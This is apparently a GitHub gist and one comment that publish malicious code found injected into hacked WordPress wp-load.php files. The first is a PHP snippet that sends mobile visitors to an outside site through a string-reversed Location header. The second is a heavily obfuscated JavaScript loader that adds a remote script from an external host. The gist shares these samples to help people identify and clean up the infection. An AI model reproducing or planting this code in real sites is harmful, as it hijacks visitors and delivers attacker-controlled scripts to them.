Skip to content

Instantly share code, notes, and snippets.

@rolandinsh
Last active January 21, 2018 14:00
Show Gist options
  • Save rolandinsh/2c63818a5bb2be14ded9c255baf63270 to your computer and use it in GitHub Desktop.
Save rolandinsh/2c63818a5bb2be14ded9c255baf63270 to your computer and use it in GitHub Desktop.
WordPress hacked wp-load.php
<?php
// (original code from hack)
if(preg_match('/(mobile|ipod|iphone|up.link|mmp|smartphone|o2|pocket|kindle|treo|nokia|blackberry|pre\/0.1|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i',$_SERVER['HTTP_USER_AGENT']) && $_COOKIE["m_"] != 1)
{@setcookie('m_', '1', time()+3600, '/');
@header(strrev('weu'.'pr'.'kby'.'/moc'.'.lr'.'uyn'.'it'.'//:pt'.'th :noi'.'tac'.'oL'));
die();}
@mackenziana
Copy link

mackenziana commented Jan 21, 2018

Found this script at the end of my wp-load.php file . It appears to be the cause of Malware entry: MW:JS:ANON7 I deleted the script and my site instantly returned to normal.

<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.$__+$.___+$.$$$_+(![]+"")[$._$_]+"\\"+$.$__+$.___+"=\\"+$.$__+$.___+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$__+"\\"+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+"\\"+$.__$+$.___+$.$_$+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"('\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"');"+$.$$$_+(![]+"")[$._$_]+".\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$_+$.$$__+"='\\"+$.__$+$.$_$+$.___+$.__+$.__+"\\"+$.__$+$.$$_+$.___+"\\"+$.__$+$.$$_+$._$$+"://\\"+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+"."+$.$$__+(![]+"")[$._$_]+$._$+$.$$_$+".\\"+$.__$+$.$$_+$.___+"\\"+$.__$+$.$$_+$.$$$+"/\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.$$_+$._$$+"/\\"+$.__$+$._$$+$.__$+"\\"+$.__$+$._$_+$.__$+"\\"+$.__$+$.__$+$.___+"\\"+$.__$+$.__$+$.___+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$._$_+$.$_$+"\\"+$.__$+$.___+$.$__+"\\"+$.__$+$._$$+$.__$+"\\"+$.__$+$.$$_+$.$$$+"\\"+$.__$+$.___+$._$_+"\\"+$.__$+$.___+$.$$_+"\\"+$.__$+$.$__+$.$$$+(![]+"")[$._$_]+"\\"+$.__$+$.___+$.$__+"\\"+$.__$+$._$$+$.___+"\\"+$.__$+$.$__+$.$$$+$.___+"\\"+$.__$+$._$_+$.$$_+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$.___+$._$_+"\\"+$.__$+$._$_+$.$$_+"\\"+$.__$+$._$_+$.$$$+"\\"+$.__$+$.$$$+$.__$+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$.___+$.$__+"\\"+$.__$+$._$_+$.__$+$.$_$+$.$$_$+"\\"+$.__$+$.$$$+$.___+"\\"+$.__$+$.___+$.$$$+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.___+$._$_+"\\"+$.__$+$._$_+$.$__+"\\"+$.__$+$.__$+$.$$_+"\\"+$.__$+$._$_+$.$__+$.$___+"\\"+$.__$+$._$_+$.$_$+"\\"+$.__$+$.___+$.$__+"\\"+$.__$+$.___+$.$$$+"\\"+$.__$+$._$_+$.$_$+"\\"+$.__$+$.___+$._$_+"\\"+$.__$+$.___+$._$_+"\\"+$.__$+$._$_+$.$__+$.___+"\\"+$.__$+$.$$$+$._$_+"\\"+$.__$+$._$_+$.___+"\\"+$.__$+$.___+$.$$_+"\\"+$.__$+$._$_+$.$_$+"\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.___+$._$$+$.__+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$._$_+$._$_+"\\"+$.__$+$.___+$.$_$+$._$_+"\\"+$.__$+$.__$+$.$$_+"\\"+$.__$+$.$$$+$._$_+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$._$_+$.$$_+"\\"+$.__$+$.__$+$._$_+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$._$_+$.___+"\\"+$.__$+$._$_+$.__$+$.___+"\\"+$.__$+$.___+$.$$_+"\\"+$.__$+$.__$+$._$_+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.___+$._$_+"\\"+$.__$+$.___+$.$$_+"\\"+$.__$+$._$_+$.$_$+"\\"+$.__$+$._$_+$.$$_+"\\"+$.__$+$._$_+$.$__+"\\"+$.__$+$.__$+$._$$+"_\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.___+$._$_+"\\"+$.__$+$.__$+$._$_+"\\"+$.__$+$._$_+$.$$_+"\\"+$.__$+$.$$$+$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.___+$.$$$+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$.$_$+$._$$+"\\"+$.__$+$.__$+$.___+$.$_$+"\\"+$.__$+$._$_+$.__$+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.___+$.$$_+"\\"+$.__$+$.___+$.$__+"\\"+$.__$+$.___+$._$_+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$.$$_+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$._$_+$.___+"\\"+$.__$+$._$_+$.___+$.$$__+"\\"+$.__$+$._$_+$._$_+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$.$$_+$.__$+"\\"+$.__$+$._$$+$.__$+"\\"+$.__$+$._$_+$._$_+"\\"+$.__$+$.___+$.$$_+"\\"+$.__$+$.___+$.$_$+$.$$_$+"\\"+$.__$+$._$_+$._$_+"\\"+$.__$+$._$_+$.__$+$.$$__+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$._$_+$.$_$+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$.$_$+$._$$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$._$_+$._$_+"\\"+$.__$+$.__$+$._$_+"\\"+$.__$+$._$$+$.__$+"\\"+$.__$+$._$_+$.__$+"\\"+$.__$+$.$$$+$.__$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$.$$_+"\\"+$.__$+$.___+$._$_+"\\"+$.__$+$._$_+$.___+"\\"+$.__$+$.__$+$.$$_+$.$$__+"\\"+$.__$+$._$_+$.__$+"\\"+$.__$+$.__$+$.$__+$.$_$_+"\\"+$.__$+$._$_+$.__$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$._$_+$.$$_+"\\"+$.__$+$.$_$+$.$_$+$.$__+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$._$_+$.__$+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$._$$+$._$_+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$._$_+$.$$_+$.$$_$+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$.__$+$.$_$+"\\"+$.__$+$.___+$.$$$+"\\"+$.__$+$._$$+$.__$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$.__$+"\\"+$.__$+$.$$$+$.___+"\\"+$.__$+$.$$_+$.$$$+$.$_$_+".\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.$$_+$._$$+"?"+$.__+"\\"+$.__$+$.$$_+$._$_+(![]+"")[$._$_]+"="+$.___+"."+$._$$+$.___+"';"+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+".\\"+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+"."+$.$_$_+"\\"+$.__$+$.$$_+$.___+"\\"+$.__$+$.$$_+$.___+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.$$_$+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+$.$$_$+"("+$.$$$_+(![]+"")[$._$_]+");"+"\"")())();</script>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment